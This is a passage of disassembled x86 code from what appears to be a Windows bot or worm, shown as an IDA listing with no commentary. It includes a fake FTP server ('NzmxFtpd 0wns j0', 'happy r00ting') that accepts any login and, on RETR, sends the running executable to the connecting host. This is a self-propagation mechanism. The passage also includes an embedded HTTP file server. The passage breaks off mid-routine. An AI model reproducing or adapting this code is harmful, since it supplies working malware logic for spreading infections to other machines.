		lea	edi, [ebp+var_7DC]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_96C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_228], edi
		mov	[ebp+var_438], edi
		call	dword_41F1BC	; WSAStartup
		push	edi
		call	sub_414D55
		push	eax
		call	sub_413864
		push	0FEB0h
		push	406h
		call	sub_41271C
		add	esp, 10h
		mov	dword_438A18, eax
		push	edi
		push	ebx
		push	2
		call	dword_41F1DC	; socket
		mov	esi, eax
		lea	eax, [ebp+var_28]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		call	dword_41F1C8	; setsockopt
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_41F1E0	; ioctlsocket
		mov	ax, word ptr dword_438A18
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		call	dword_41F1C4	; ntohs
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		call	dword_41F1B0	; bind
		test	eax, eax
		jge	short loc_4042AC
		mov	eax, ebx
		jmp	loc_4047D3
; ---------------------------------------------------------------------------


loc_4042AC:				; CODE XREF: sub_4041D7+CCj
		push	0Ah
		push	esi
		call	dword_41F1B4	; listen
		mov	[ebp+var_228], ebx
		mov	ebx, dword_41F1D0
		mov	[ebp+var_224], esi
		mov	[ebp+var_4], esi


loc_4042CA:				; CODE XREF: sub_4041D7+12Cj
					; sub_4041D7+5F4j
		push	41h
		lea	esi, [ebp+var_228]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_438]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	dword_41F1D4	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_4047D0
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_4042CA


loc_404305:				; CODE XREF: sub_4041D7+5EEj
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_413890
		push	64h
		lea	eax, [ebp+var_AC]
		push	esi
		push	eax
		call	sub_413890
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_41E428	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4047BE
		cmp	edi, [ebp+var_C]
		jnz	short loc_4043BC
		lea	eax, [ebp+var_24]
		mov	[ebp+var_24], 10h
		push	eax
		lea	eax, [ebp+var_238]
		push	eax
		push	[ebp+var_C]
		call	dword_41F1B8	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_4047BE
		xor	ecx, ecx
		cmp	[ebp+var_228], esi
		jbe	short loc_404386
		lea	edx, [ebp+var_224]


loc_404376:				; CODE XREF: sub_4041D7+1ADj
		cmp	[edx], eax
		jz	short loc_404386
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_228]
		jb	short loc_404376


loc_404386:				; CODE XREF: sub_4041D7+197j
					; sub_4041D7+1A1j
		cmp	ecx, [ebp+var_228]
		jnz	short loc_4043A4
		cmp	[ebp+var_228], 40h
		jnb	short loc_4043A4
		mov	[ebp+ecx*4+var_224], eax
		inc	[ebp+var_228]


loc_4043A4:				; CODE XREF: sub_4041D7+1B5j
					; sub_4041D7+1BEj
		cmp	eax, [ebp+var_4]
		jle	short loc_4043AC
		mov	[ebp+var_4], eax


loc_4043AC:				; CODE XREF: sub_4041D7+1D0j
		push	esi
		push	15h
		push	offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_4047BE
; ---------------------------------------------------------------------------


loc_4043BC:				; CODE XREF: sub_4041D7+169j
		push	esi
		lea	eax, [ebp+var_29C]
		push	64h
		push	eax
		push	edi
		call	dword_41F1CC	; recv
		test	eax, eax
		jg	short loc_404423
		mov	edx, [ebp+var_228]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_404417
		lea	eax, [ebp+var_224]


loc_4043E3:				; CODE XREF: sub_4041D7+216j
		cmp	[eax], edi
		jz	short loc_4043F1
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_4043E3
		jmp	short loc_404417
; ---------------------------------------------------------------------------


loc_4043F1:				; CODE XREF: sub_4041D7+20Ej
		dec	edx
		cmp	ecx, edx
		jnb	short loc_404411
		lea	eax, [ebp+ecx*4+var_224]


loc_4043FD:				; CODE XREF: sub_4041D7+238j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_228]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_4043FD


loc_404411:				; CODE XREF: sub_4041D7+21Dj
		dec	[ebp+var_228]


loc_404417:				; CODE XREF: sub_4041D7+204j
					; sub_4041D7+218j
		push	edi
		call	dword_41F1E8	; closesocket
		jmp	loc_4047BE
; ---------------------------------------------------------------------------


loc_404423:				; CODE XREF: sub_4041D7+1F8j
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aSS	; "%s %s"
		push	eax
		call	sub_414D21
		lea	eax, [ebp+var_AC]
		push	offset aUser_0	; "USER"
		push	eax
		call	sub_413C30
		add	esp, 18h
		test	eax, eax
		jnz	short loc_404467
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_4047A9
; ---------------------------------------------------------------------------


loc_404467:				; CODE XREF: sub_4041D7+281j
		lea	eax, [ebp+var_AC]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40448B
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_4047A9
; ---------------------------------------------------------------------------


loc_40448B:				; CODE XREF: sub_4041D7+2A5j
		lea	eax, [ebp+var_AC]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4044AF
		push	esi
		push	0Dh
		push	offset a215Nzmxftpd ; "215 NzmxFtpd\n"
		jmp	loc_4047A9
; ---------------------------------------------------------------------------


loc_4044AF:				; CODE XREF: sub_4041D7+2C9j
		lea	eax, [ebp+var_AC]
		push	offset aRest	; "REST"
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4044D3
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_4047A9
; ---------------------------------------------------------------------------


loc_4044D3:				; CODE XREF: sub_4041D7+2EDj
		lea	eax, [ebp+var_AC]
		push	offset off_425064
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4044F7
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_4047A9
; ---------------------------------------------------------------------------


loc_4044F7:				; CODE XREF: sub_4041D7+311j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404532
		lea	eax, [ebp+var_334]
		push	offset aA	; "A"
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404532
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_4047A9
; ---------------------------------------------------------------------------


loc_404532:				; CODE XREF: sub_4041D7+335j
					; sub_4041D7+34Cj
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40456D
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40456D
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_4047A9
; ---------------------------------------------------------------------------


loc_40456D:				; CODE XREF: sub_4041D7+370j
					; sub_4041D7+387j
		lea	eax, [ebp+var_AC]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4045BB
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		movsw
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_124]


loc_4045AB:				; CODE XREF: sub_4041D7+423j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		xor	esi, esi


loc_4045B3:				; CODE XREF: sub_4041D7+4F3j
		mov	edi, [ebp+arg_0]
		jmp	loc_4047AC
; ---------------------------------------------------------------------------


loc_4045BB:				; CODE XREF: sub_4041D7+3ABj
		lea	eax, [ebp+var_AC]
		push	offset aList	; "LIST"
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4045FC
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		movsb
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_4045AB
; ---------------------------------------------------------------------------


loc_4045FC:				; CODE XREF: sub_4041D7+3F9j
		lea	eax, [ebp+var_AC]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4046CF
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_414D21
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_413D7F
		mov	edi, eax
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_413D7F
		mov	[ebp+var_8], eax
		push	32h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_413890
		push	[ebp+var_8]
		lea	eax, [ebp+var_F8]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_413812
		add	esp, 44h
		lea	eax, [ebp+var_F8]
		push	10h
		push	esi
		push	eax
		call	sub_414D0A
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_413812
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	[ebp+arg_0]
		call	ebx	; send
		jmp	loc_4045B3
; ---------------------------------------------------------------------------


loc_4046CF:				; CODE XREF: sub_4041D7+43Aj
		lea	eax, [ebp+var_AC]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40478A
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_4047DA
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_404780
		call	sub_404857
		cmp	eax, 1
		jnz	loc_4047AC
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_7D8]
		push	eax
		lea	eax, [ebp+var_48]
		push	dword_438A18
		push	eax
		lea	eax, [ebp+var_538]
		push	offset unk_424EC8
		push	eax
		call	sub_413812
		add	esp, 14h
		cmp	[ebp+var_540], esi
		jnz	short loc_404771
		push	esi
		lea	eax, [ebp+var_538]
		push	[ebp+var_544]
		push	eax
		lea	eax, [ebp+var_5C4]
		push	eax
		push	[ebp+var_7DC]
		call	sub_40B2B5
		add	esp, 14h


loc_404771:				; CODE XREF: sub_4041D7+575j
		lea	eax, [ebp+var_538]
		push	eax
		call	sub_409833
		pop	ecx
		jmp	short loc_4047AC
; ---------------------------------------------------------------------------


loc_404780:				; CODE XREF: sub_4041D7+52Fj
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_4047A9
; ---------------------------------------------------------------------------


loc_40478A:				; CODE XREF: sub_4041D7+50Dj
		lea	eax, [ebp+var_AC]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4047AC
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_4047A9:				; CODE XREF: sub_4041D7+28Bj
					; sub_4041D7+2AFj ...
		push	edi
		call	ebx	; send


loc_4047AC:				; CODE XREF: sub_4041D7+3DFj
					; sub_4041D7+539j ...
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_413890
		add	esp, 0Ch


loc_4047BE:				; CODE XREF: sub_4041D7+160j
					; sub_4041D7+189j ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_404305
		jmp	loc_4042CA
; ---------------------------------------------------------------------------


loc_4047D0:				; CODE XREF: sub_4041D7+11Ej
		push	1
		pop	eax


loc_4047D3:				; CODE XREF: sub_4041D7+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4041D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4047DA	proc near		; CODE XREF: sub_4041D7+525p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	dword_41F1BC	; WSAStartup
		push	0
		push	1
		push	2
		call	dword_41F1DC	; socket
		push	[ebp+arg_0]
		mov	dword_438A14, eax
		mov	[ebp+var_10], 2
		call	dword_41F1C0	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	dword_41F1C4	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_438A14
		call	dword_41F1E4	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404852
		push	dword_438A14
		call	dword_41F1E8	; closesocket
		call	dword_41F1AC	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_404852:				; CODE XREF: sub_4047DA+60j
		push	1
		pop	eax
		leave
		retn
sub_4047DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404857	proc near		; CODE XREF: sub_4041D7+531p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	dword_41F060	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_414F8F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4048EE
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_4048D2
		push	edi
		mov	edi, 400h


loc_40489A:				; CODE XREF: sub_404857+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_414E87
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_438A14
		call	dword_41F1D0	; send
		push	1
		call	dword_41F050	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40489A
		pop	edi


loc_4048D2:				; CODE XREF: sub_404857+3Bj
		push	esi
		call	sub_414E31
		pop	ecx
		push	dword_438A14
		call	dword_41F1E8	; closesocket
		call	dword_41F1AC	; WSACleanup
		push	1
		pop	eax


loc_4048EE:				; CODE XREF: sub_404857+35j
		pop	esi
		leave
		retn
sub_404857	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4048F1	proc near		; DATA XREF: sub_406059+333o
					; sub_40CC09+4BDFo

var_27F0	= byte ptr -27F0h
var_17F0	= byte ptr -17F0h
var_7F0		= byte ptr -7F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 27F0h
		call	sub_413E60
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_44CCDC	; ntohs
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_44CD58	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_404CDC
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 134h
		mov	dword_452134[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_44CD08	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_404CDC
		push	7FFFFFFFh
		push	edi
		call	dword_44CD04	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_404CDC
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_44CD74	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_404CDC
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_4049C8:				; CODE XREF: sub_4048F1+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_44CCC4	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_404CD7
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_4049FE:				; CODE XREF: sub_4048F1+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_44CBE4	; __WSAFDIsSet
		test	eax, eax
		jz	loc_404CC2
		cmp	esi, [ebp+var_C]
		jnz	short loc_404A80
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_44CD6C	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_404CC2
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_404A52
		lea	edx, [ebp+var_134]


loc_404A46:				; CODE XREF: sub_4048F1+15Fj
		cmp	[edx], eax
		jz	short loc_404A52
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_404A46


loc_404A52:				; CODE XREF: sub_4048F1+14Dj
					; sub_4048F1+157j
		cmp	ecx, ebx
		jnz	short loc_404A6F
		cmp	ebx, 40h
		jnb	short loc_404A6F
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_404A6F:				; CODE XREF: sub_4048F1+163j
					; sub_4048F1+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_404CC2
		mov	[ebp+var_8], eax
		jmp	loc_404CC2
; ---------------------------------------------------------------------------


loc_404A80:				; CODE XREF: sub_4048F1+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_27F0]
		push	edi
		push	0
		push	eax
		call	sub_413890
		push	edi
		lea	eax, [ebp+var_17F0]
		push	0
		push	eax
		call	sub_413890
		add	esp, 18h
		lea	eax, [ebp+var_27F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_44CCF4	; recv
		test	eax, eax
		jg	short loc_404B13
		push	esi
		call	dword_44CD70	; closesocket
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_404CC2
		lea	eax, [ebp+var_134]


loc_404AD2:				; CODE XREF: sub_4048F1+1EBj
		cmp	[eax], esi
		jz	short loc_404AE3
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_404AD2
		jmp	loc_404CC2
; ---------------------------------------------------------------------------


loc_404AE3:				; CODE XREF: sub_4048F1+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_404B07
		lea	eax, [ebp+ecx*4+var_134]


loc_404AF1:				; CODE XREF: sub_4048F1+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_404AF1


loc_404B07:				; CODE XREF: sub_4048F1+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_404CC2
; ---------------------------------------------------------------------------


loc_404B13:				; CODE XREF: sub_4048F1+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_413890
		lea	eax, [ebp+var_27F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_413E90
		add	esp, 10h
		test	eax, eax
		jbe	loc_404CC2


loc_404B41:				; CODE XREF: sub_4048F1+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_27F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_17F0], al
		jnz	loc_404BE6
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_17F0]
		push	esi
		push	eax
		call	sub_413DE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404BBA
		lea	eax, [ebp+var_17F0]
		push	eax
		call	sub_413E90
		cmp	eax, 5
		pop	ecx
		jbe	short loc_404BBA
		mov	eax, offset asc_425148 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_17F0]
		push	esi
		push	eax
		call	sub_413DE0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_413DE0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_4150A0
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_414FB0
		add	esp, 10h
		jmp	short loc_404BD1
; ---------------------------------------------------------------------------


loc_404BBA:				; CODE XREF: sub_4048F1+27Fj
					; sub_4048F1+291j
		lea	eax, [ebp+var_17F0]
		push	offset asc_425144 ; "\r\n"
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404C05


loc_404BD1:				; CODE XREF: sub_4048F1+2C7j
		push	edi
		lea	eax, [ebp+var_17F0]
		push	0
		push	eax
		call	sub_413890
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_404BE6:				; CODE XREF: sub_4048F1+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_27F0]
		push	eax
		inc	esi
		call	sub_413E90
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_404B41
		jmp	loc_404CC2
; ---------------------------------------------------------------------------


loc_404C05:				; CODE XREF: sub_4048F1+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_404C4F
		lea	eax, [ebp+var_134]


loc_404C11:				; CODE XREF: sub_4048F1+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_404C22
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_404C11
		jmp	short loc_404C52
; ---------------------------------------------------------------------------


loc_404C22:				; CODE XREF: sub_4048F1+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_404C46
		lea	eax, [ebp+ecx*4+var_134]


loc_404C30:				; CODE XREF: sub_4048F1+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_404C30


loc_404C46:				; CODE XREF: sub_4048F1+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_404C52
; ---------------------------------------------------------------------------


loc_404C4F:				; CODE XREF: sub_4048F1+318j
		mov	esi, [ebp+var_4]


loc_404C52:				; CODE XREF: sub_4048F1+32Fj
					; sub_4048F1+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_404CBB
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_413E90
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_413E90
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_404CBB
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_44CD74	; ioctlsocket
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_404ECE
		add	esp, 14h
		jmp	short loc_404CC2
; ---------------------------------------------------------------------------


loc_404CBB:				; CODE XREF: sub_4048F1+369j
					; sub_4048F1+38Fj
		push	esi
		call	dword_44CD70	; closesocket


loc_404CC2:				; CODE XREF: sub_4048F1+11Dj
					; sub_4048F1+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_4049FE
		jmp	loc_4049C8
; ---------------------------------------------------------------------------


loc_404CD7:				; CODE XREF: sub_4048F1+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_404CDC:				; CODE XREF: sub_4048F1+6Aj
					; sub_4048F1+92j ...
		call	dword_44CC78	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_7F0]
		push	offset unk_425100
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_404D22
		push	ebx
		lea	eax, [ebp+var_7F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_40B2B5
		add	esp, 14h


loc_404D22:				; CODE XREF: sub_4048F1+40Cj
		lea	eax, [ebp+var_7F0]
		push	eax
		call	sub_409833
		pop	ecx
		push	edi
		call	dword_44CD70	; closesocket
		push	[ebp+var_254]
		call	sub_4135DA
		pop	ecx
		push	ebx
		call	dword_41F040	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_4048F1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D4C	proc near		; DATA XREF: sub_404ECE+246o

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_413E60
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_413812
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+var_A4], edi
		jz	short loc_404DB1
		push	offset aTextHtml ; "text/html"
		jmp	short loc_404DB6
; ---------------------------------------------------------------------------


loc_404DB1:				; CODE XREF: sub_404D4C+5Cj
		push	offset aApplicationOct ; "application/octet-stream"


loc_404DB6:				; CODE XREF: sub_404D4C+63j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_413812
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
